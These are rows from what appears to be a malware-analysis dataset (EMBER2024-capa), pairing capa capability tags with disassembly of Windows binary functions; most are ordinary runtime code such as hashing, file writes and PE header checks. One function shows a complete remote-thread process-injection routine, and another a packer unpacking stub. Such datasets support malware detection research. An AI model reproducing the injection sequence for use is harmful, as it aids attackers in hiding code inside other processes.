joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140089ce0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
push r15
mov rbp, rsp
sub rsp, 0x48
xor edi, edi
lea rdx, [rcx + 0x10]
and dword [rbp + 0x38], edi
or r15, 0xffffffffffffffff
and dword [rbp + 0x48], edi
mov rax, rcx
and dword [rbp + 0x40], edi
mov rsi, rcx
neg rax
sbb rbx, rbx
and rbx, rdx
je 0x140089d24
lea rcx, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
nop dword [rax + rax]
cmp dword [rsi + 0x100], edi
jne 0x140089d36
mov edi, 0x802a0035
jmp 0x140089efa
mov rcx, qword [rsi + 0xf8]
test rcx, rcx
jne 0x140089d4c
mov edi, 0x80004005
jmp 0x140089f09
cmp dword [rsi + 0x104], edi
jne 0x140089efa
and qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0xc0000000
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
nop dword [rax + rax]
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x140089dc7
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
test eax, eax
je 0x140089dbd
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
movzx edi, ax
or edi, 0x80070000
test eax, eax
cmovle edi, eax
jmp 0x140089efa
mov edi, 0x8000ffff
jmp 0x140089efa
mov rax, qword [rsi]
lea rdx, [rbp + 0x40]
mov rcx, rsi
mov rax, qword [rax + 0x28]
call qword [str._E_t_]
mov edx, 1
mov rcx, rsi
call fcn.14008a69c
mov edi, eax
test eax, eax
js 0x140089efa
jmp 0x140089e53
mov edx, dword [rsi + 0xd4]
lea r9, [rbp + 0x48]
add rdx, qword [rsi + 0xc8]
mov r8d, r14d
and qword [rsp + 0x20], 0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
nop dword [rax + rax]
test eax, eax
jne 0x140089e43
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
movzx edi, ax
or edi, 0x80070000
test eax, eax
cmovle edi, eax
test edi, edi
js 0x140089efa
add dword [rsi + 0xd8], r14d
mov eax, dword [rbp + 0x48]
add dword [rsi + 0xd4], eax
lea rdx, [rbp + 0x38]
mov rcx, rsi
call fcn.14008a514
mov r14d, dword [rbp + 0x38]
test r14d, r14d
jne 0x140089df4
mov ecx, dword [rsi + 0xd8]
mov eax, ecx
sub eax, dword [rsi + 0x54]
neg eax
sbb edi, edi
and edi, 0x802a0021
cmp ecx, dword [rsi + 0x54]
jne 0x140089efa
xor edx, edx
mov rcx, rsi
call fcn.14008a69c
mov edi, eax
test eax, eax
js 0x140089efa
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [rax + rax]
mov eax, dword [rbp + 0x40]
lea r14, [rsi + 0xf0]
mov rcx, qword [rsi + 0xf8]
mov rdx, r14
or r15, 0xffffffffffffffff
mov dword [rbp + 0x50], eax
call fcn.140084f7c
mov edi, eax
test eax, eax
js 0x140089efa
mov rcx, qword [r14]
lea rdx, [rbp + 0x50]
mov rax, qword [rcx]
mov rax, qword [rax + 0x20]
call qword [str._E_t_]
mov edi, eax
test eax, eax
js 0x140089efa
mov eax, dword [rbp + 0x40]
cmp dword [rbp + 0x50], eax
je 0x140089ef0
mov edi, 0x80004005
jmp 0x140089efa
mov dword [rsi + 0x104], 1
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [rax + rax]
test rbx, rbx
je 0x140089f1e
lea rcx, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
nop dword [rax + rax]
mov eax, edi
add rsp, 0x48
pop r15
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x14008b530
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
lea rdi, [0x1400cf910]
mov r9d, ecx
not r9d
mov r11, rdx
cmp r8d, 8
jb 0x14008b586
mov r10d, r8d
shr r10, 3
mov ebx, 8
movzx ecx, byte [r11]
mov eax, r9d
xor rcx, rax
inc r11
shr eax, 8
movzx edx, cl
mov r9d, dword [rdi + rdx*4]
xor r9d, eax
sub rbx, 1
jne 0x14008b55c
add r8d, 0xfffffff8
sub r10, 1
jne 0x14008b557
test r8d, r8d
je 0x14008b5ab
movzx ecx, byte [r11]
mov eax, r9d
xor rcx, rax
inc r11
shr eax, 8
movzx edx, cl
mov r9d, dword [rdi + rdx*4]
xor r9d, eax
add r8d, 0xffffffff
jne 0x14008b58b
mov rbx, qword [rsp + 8]
not r9d
mov rdi, qword [rsp + 0x10]
mov eax, r9d
ret

Function at 0x14008dd40
Capabilities:
Compute adler32 checksum

Disassembly:
movzx r9d, cx
mov r10, rdx
shr ecx, 0x10
test rdx, rdx
jne 0x14008de79
lea eax, [rdx + 1]
ret
mov edx, 0x15b0
cmp r8d, edx
cmovb edx, r8d
sub r8d, edx
cmp edx, 0x10
jl 0x14008de3d
mov r11d, edx
shr r11, 4
mov eax, r11d
neg eax
shl eax, 4
add edx, eax
movzx eax, byte [r10]
add r9d, eax
movzx eax, byte [r10 + 1]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 + 2]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 + 3]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 + 4]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 + 5]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 + 6]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 + 7]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 + 8]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 + 9]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 + 0xa]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 + 0xb]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 + 0xc]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 + 0xd]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 + 0xe]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 + 0xf]
add ecx, r9d
add r10, 0x10
add r9d, eax
add ecx, r9d
sub r11, 1
jne 0x14008dd80
test edx, edx
je 0x14008de53
movzx eax, byte [r10]
inc r10
add r9d, eax
add ecx, r9d
sub edx, 1
jne 0x14008de41
mov eax, 0x80078071
mul r9d
shr edx, 0xf
imul eax, edx, 0xffff000f
add r9d, eax
mov eax, 0x80078071
mul ecx
shr edx, 0xf
imul eax, edx, 0xffff000f
add ecx, eax
test r8d, r8d
jne 0x14008dd57
shl ecx, 0x10
or ecx, r9d
mov eax, ecx
ret
Function at 0x140092d9c
Capabilities:
Print debug messages

Disassembly:
jmp 0x140092da8
push rbx
sub rsp, reloc.MFC42u.dll_Ordinal_1344
mov rax, qword [0x1400fd258]
xor rax, rsp
mov qword [rsp + 0x530], rax
lea rcx, [rsp + 0x60]
call qword [sym.imp.ntdll.dll_RtlCaptureContext]
mov rbx, qword [rsp + 0x158]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x140092e25
and qword [rsp + 0x38], 0
lea rcx, [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov r9, rax
mov qword [rsp + 0x30], rcx
mov r8, rbx
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlVirtualUnwind]
jmp 0x140092e45
mov rax, qword [rsp + 0x548]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x548]
mov qword [rsp + 0xf8], rax
lea rcx, str.Invalid_parameter_passed_to_C_runtime_function._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.1400929d0
add rsp, reloc.MFC42u.dll_Ordinal_1344
pop rbx
ret
Function at 0x1400010e0
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov esi, dword [0x14008be58]
mov rbp, rdx
mov rbx, rcx
test esi, esi
je 0x14000118b
call qword [sym.imp.KERNEL32.dll_GetLargePageMinimum]
lea rdi, [rbx - 1]
mov r9d, 4
add rdi, rax
mov r8d, 0x20003000
dec rax
xor ecx, ecx
not rax
and rdi, rax
mov rdx, rdi
mov rbp, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov rax, rbx
test rbx, rbx
je 0x140001176
mov qword [rbx], 0
mov qword [rbx + 8], rbx
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0x80
mov qword [rbx + 0x20], rbp
mov qword [rbx + 0x28], rdi
mov qword [rbx + 0x30], 8
mov byte [rbx + 0x38], 1
mov byte [rbx + 0x39], sil
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
xorps xmm0, xmm0
lea rcx, [rsp + 0x20]
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x24]
mov r9d, 4
mov r8d, 0x2000
lea rcx, [rax - 1]
not rcx
lea rdi, [rax - 1]
dec rax
add rdi, rbx
and rdi, rcx
add rbp, rax
and rbp, rcx
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9d, 4
mov r8d, 0x1000
mov rcx, rax
mov rdx, rbp
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
jne 0x14000113b
xor edx, edx
xor ecx, ecx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x140001176
Function at 0x140001dc0
Capabilities:
Hash data using djb2

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov r10, qword [rdx + 0x48]
xor r14d, r14d
mov r13, r9
mov r15, r8
mov rbp, rdx
mov r12, rcx
mov ebx, 0x1505
test r10, r10
je 0x140001e31
movups xmm0, xmmword [r8]
mov r8, qword [r8 + 8]
xor edx, edx
mov eax, ebx
movaps xmmword [rsp + 0x20], xmm0
test r8, r8
je 0x140001e24
mov r9, qword [rsp + 0x20]
nop word [rax + rax]
movzx ecx, byte [r9 + rdx]
inc rdx
imul rax, rax, 0x21
add rax, rcx
cmp rdx, r8
jb 0x140001e10
xor edx, edx
div r10
mov rax, qword [rbp + 0x50]
lea r14, [rax + rdx*8]
mov r9, qword [r14]
mov qword [rsp + 0x98], rdi
test r9, r9
je 0x140001ead
movups xmm0, xmmword [r15]
movaps xmmword [rsp + 0x20], xmm0
mov r11, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x20]
nop dword [rax]
nop dword [rax + rax]
mov rdx, qword [r9 + 0x20]
mov rax, qword [r9 + 0x18]
cmp r11, rdx
jne 0x140001ea4
cmovb rdx, r11
test rdx, rdx
je 0x140001e97
mov r8, rdi
mov r10, rax
sub r8, rax
nop
movzx ecx, byte [rax + r8]
cmp cl, byte [rax]
jne 0x140001ea4
inc rax
mov rcx, rax
sub rcx, r10
cmp rcx, rdx
jb 0x140001e80
test r9, r9
je 0x140001ead
mov rax, r9
jmp 0x140001fd3
mov r9, qword [r9 + 8]
test r9, r9
jne 0x140001e60
mov edx, 0x58
mov qword [rsp + 0x90], rsi
mov rcx, r12
call fcn.1400012c0
mov r8, qword [r15 + 8]
mov rsi, rax
xorps xmm0, xmm0
xor eax, eax
xor edx, edx
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm0
movups xmmword [rsi + 0x20], xmm0
movups xmmword [rsi + 0x30], xmm0
movups xmmword [rsi + 0x40], xmm0
mov qword [rsi + 0x50], rax
mov rax, qword [r14]
mov qword [rsi + 8], rax
movups xmm0, xmmword [r15]
movaps xmmword [rsp + 0x20], xmm0
test r8, r8
je 0x140001f15
mov r9, qword [rsp + 0x20]
movzx ecx, byte [r9 + rdx]
inc rdx
imul rbx, rbx, 0x21
add rbx, rcx
cmp rdx, r8
jb 0x140001f01
lea rdx, [r8 + 1]
mov qword [rsi + 0x10], rbx
mov rcx, r12
mov rdi, r8
call fcn.1400012c0
mov rdx, qword [r15]
mov r8, rdi
mov rcx, rax
mov rbx, rax
call fcn.140072e10
mov byte [rdi + rbx], 0
lea rcx, [0x140075d21]
mov qword [rsi + 0x18], rbx
lea r8, [rsi + 0x28]
mov qword [rsi + 0x20], rdi
lea rax, [0x140075d48]
movups xmm0, xmmword [r13]
mov qword [rsp + 0x30], rcx
xor ebx, ebx
movups xmm1, xmmword [r13 + 0x10]
mov qword [rsp + 0x50], rcx
lea r9, [rsp + 0x30]
movups xmmword [r8], xmm0
mov rdx, r12
mov qword [rsp + 0x38], rbx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x40], rax
movups xmmword [r8 + 0x10], xmm1
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x58], rbx
call fcn.140016030
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x48], xmm0
mov qword [r14], rsi
cmp qword [rbp + 0x18], rbx
je 0x140001fb9
mov rax, qword [rbp + 0x20]
mov qword [rax], rsi
jmp 0x140001fbd
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x20], rsi
mov rax, rsi
mov qword [rsi], rbx
inc qword [rbp + 0x10]
mov rsi, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x98]
mov rbx, qword [rsp + 0xa0]
add rsp, 0x60
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x140002080
Capabilities:
Hash data using djb2

Disassembly:
push rbx
sub rsp, 0x10
mov r11, qword [rcx + 0x48]
xor r8d, r8d
mov rbx, rdx
mov r10, rcx
test r11, r11
je 0x1400020d2
movups xmm0, xmmword [rdx]
mov rdx, qword [rdx + 8]
mov eax, 0x1505
movaps xmmword [rsp], xmm0
test rdx, rdx
je 0x1400020c5
mov r9, qword [rsp]
movzx ecx, byte [r9 + r8]
inc r8
imul rax, rax, 0x21
add rax, rcx
cmp r8, rdx
jb 0x1400020b1
xor edx, edx
div r11
mov rax, qword [r10 + 0x50]
lea r8, [rax + rdx*8]
mov r8, qword [r8]
test r8, r8
je 0x140002139
movups xmm0, xmmword [rbx]
movaps xmmword [rsp], xmm0
mov r11, qword [rsp + 8]
mov rbx, qword [rsp]
nop word [rax + rax]
mov rdx, qword [r8 + 0x20]
mov rax, qword [r8 + 0x18]
cmp r11, rdx
jne 0x140002130
cmovb rdx, r11
test rdx, rdx
je 0x140002127
mov r9, rbx
mov r10, rax
sub r9, rax
nop
movzx ecx, byte [r9 + rax]
cmp cl, byte [rax]
jne 0x140002130
inc rax
mov rcx, rax
sub rcx, r10
cmp rcx, rdx
jb 0x140002110
mov rax, r8
add rsp, 0x10
pop rbx
ret
mov r8, qword [r8 + 8]
test r8, r8
jne 0x1400020f0
xor eax, eax
add rsp, 0x10
pop rbx
ret
Function at 0x140010040
Capabilities:
Encode data using xor

Disassembly:
mov rax, qword [rcx]
xor edx, edx
mov r9, qword [rcx + 8]
mov rcx, r9
and rcx, 0xfffffffffffffffc
lea r8, [rcx + rax]
shr rcx, 2
cmp rax, r8
cmova rcx, rdx
test rcx, rcx
je 0x1400100bb
cmp rcx, 8
jb 0x1400100bb
and rcx, 0xfffffffffffffff8
xorps xmm2, xmm2
xorps xmm1, xmm1
nop dword [rax]
nop dword [rax + rax]
movdqu xmm0, xmmword [rax]
add rdx, 8
xorps xmm2, xmm0
movdqu xmm0, xmmword [rax + 0x10]
add rax, 0x20
xorps xmm1, xmm0
cmp rdx, rcx
jb 0x140010080
xorps xmm1, xmm2
movdqa xmm0, xmm1
psrldq xmm0, 8
xorps xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
xorps xmm1, xmm0
movd edx, xmm1
cmp rax, r8
jae 0x1400100cb
xor edx, dword [rax]
add rax, 4
cmp rax, r8
jb 0x1400100c0
test r9b, 2
je 0x1400100da
movzx ecx, word [rax]
xor edx, ecx
add rax, 2
test r9b, 1
je 0x1400100e5
movzx ecx, byte [rax]
xor edx, ecx
or edx, 0x20202020
mov eax, edx
shr eax, 0xb
xor edx, eax
mov eax, edx
shr eax, 0x10
xor eax, edx
ret
Function at 0x140019320
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001936a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001936a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001936a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001936a
cmp dword [rcx + 0x84], 0xe
jbe 0x14001936a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001936c
xor al, al
add rsp, 0x28
ret

Function at 0x14004f1a4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14004ef2c
Function at 0x14005efb4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14005efe4
xor eax, eax
jmp 0x14005f0a7
mov rbp, rbx
cmp word [rax], si
je 0x14005f009
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14005eff0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14005efec
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14005ee34
movsxd r14, eax
test eax, eax
jne 0x14005f047
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14005efdd
mov rcx, r14
call fcn.140057880
mov rdi, rax
test rax, rax
jne 0x14005f060
xor ecx, ecx
call fcn.140055134
jmp 0x14005f03c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14005ee34
test eax, eax
jne 0x14005f091
mov rcx, rdi
call fcn.140055134
jmp 0x14005f09b
xor ecx, ecx
call fcn.140055134
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14005f0c4
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14005f14b
mov rsi, rbx
cmp word [rax], bp
je 0x14005f10a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14005f0f4
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14005f0f0
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140057880
mov rdi, rax
test rax, rax
je 0x14005f138
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140072e10
mov rbp, rdi
xor ecx, ecx
call fcn.140055134
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14006a884
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14006a89a
mov al, 1
jmp 0x14006a8fa
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14006a8ab
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14006a8f8
mov ecx, dword [rcx + 0x18]
nop
call fcn.140060548
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14006a8f8
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14006a8f8
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14006a8f8
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14006a8fa
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x140072810
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140072838
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140072838
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x100001000
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode
Terminate process

Disassembly:
sub rsp, 0x68
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rdi
lea rcx, [0x1000024dc]
mov rdx, rcx
call qword [sym.imp.user32.dll_FindWindowW]
test rax, rax
jne 0x10000104a
xor rcx, rcx
lea rdx, [0x100002510]
lea r8, [0x10000250c]
mov r9d, 0x10040
call qword [sym.imp.user32.dll_MessageBoxW]
jmp 0x10000115e
mov qword [0x100002d38], rax
mov rcx, rax
lea rdx, [rsp + 0x50]
call qword [sym.imp.user32.dll_GetWindowThreadProcessId]
test eax, eax
je 0x100001141
mov ecx, 0x43a
xor rdx, rdx
mov r8d, dword [rsp + 0x50]
call qword [sym.imp.kernel32.dll_OpenProcess]
test rax, rax
je 0x100001141
mov rbp, rax
xor rcx, rcx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
mov rsi, rax
mov rcx, rbp
xor rdx, rdx
mov r8d, dword [rsi + 0x3c]
mov r8d, dword [rsi + r8 + 0x50]
mov r9d, 0x1000
mov dword [rsp + 0x20], pe_nt_image_headers64
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
test rax, rax
je 0x100001138
mov rdi, rax
mov rcx, rbp
mov rdx, rdi
mov r8, rsi
mov r9d, dword [rsi + 0x3c]
mov r9d, dword [rsi + r9 + 0x50]
mov qword [rsp + 0x20], 0
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
test al, al
je 0x100001123
mov rcx, rbp
xor rdx, rdx
mov r8d, 0x1000
lea r9, [rdi + 0x117b]
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x30], rdx
call qword [sym.imp.kernel32.dll_CreateRemoteThread]
test rax, rax
je 0x100001123
mov rcx, rax
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, rbp
call qword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x10000115e
mov rcx, rbp
mov rdx, rdi
xor r8, r8
mov r9d, 0x4000
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
mov rcx, rbp
call qword [sym.imp.kernel32.dll_CloseHandle]
xor rcx, rcx
lea rdx, [0x10000253c]
lea r8, [0x10000250c]
mov r9d, 0x10010
call qword [sym.imp.user32.dll_MessageBoxW]
xor rcx, rcx
call qword [sym.imp.kernel32.dll_ExitProcess]

Function at 0x1403df000
Capabilities:
Encode data using xor

Disassembly:
call fcn.14046eccd
insd dword [rdi], dx
cmp eax, 0xadc1d052
cld
invalid
Function at 0x1400111e5
Capabilities:
Terminate process

Disassembly:
jmp 0x14001c210
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011262
Capabilities:
Parse pe header

Disassembly:
jmp 0x140019f20
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140019f40
xor al, al
jmp 0x140019fc1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140019f53
xor al, al
jmp 0x140019fc1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140019f7d
xor al, al
jmp 0x140019fc1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140019f91
xor al, al
jmp 0x140019fc1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140019fa3
xor al, al
jmp 0x140019fc1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140019fbf
xor al, al
jmp 0x140019fc1
mov al, 1
add rsp, 0x38
ret
Function at 0x140565260
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14056526d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14056527d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140565265
lea eax, [rcx + 1]
jmp 0x14056528b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14056529e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140565284
sub eax, 3
jb 0x1405652be
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14056530d
sar eax, 1
movsxd rbp, eax
jb 0x1405652f4
jmp 0x1405652cc
add ebx, ebx
jne 0x1405652ca
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1405652f4
inc ecx
add ebx, ebx
jne 0x1405652da
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1405652f4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1405652ed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1405652dc
add ecx, 2
jmp 0x1405652f9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140565222
jmp 0x14056526d
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x2d8400
mov dl, 0xaa
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14056535d
cmp rsi, rcx
jae 0x140565365
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140565344
cmp al, 0x8f
ja 0x140565344
cmp byte [rsi - 2], 0xf
je 0x14056534a
sub al, 0xe8
cmp al, 1
ja 0x14056532e
cmp rsi, rcx
jae 0x140565365
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140565334
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140565365
lodsb al, byte [rsi]
jmp 0x140565344
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x553000]
mov eax, dword [rdi]
or eax, eax
je 0x1405653ce
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x565760]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140565372
jns 0x1405653a7
movzx rdx, word [rdi]
add rdi, 2
jmp 0x1405653b1
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1405653c8
mov qword [rbx], rax
add rbx, 8
jmp 0x140565392
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140565412
cmp al, 0xef
ja 0x1405653fa
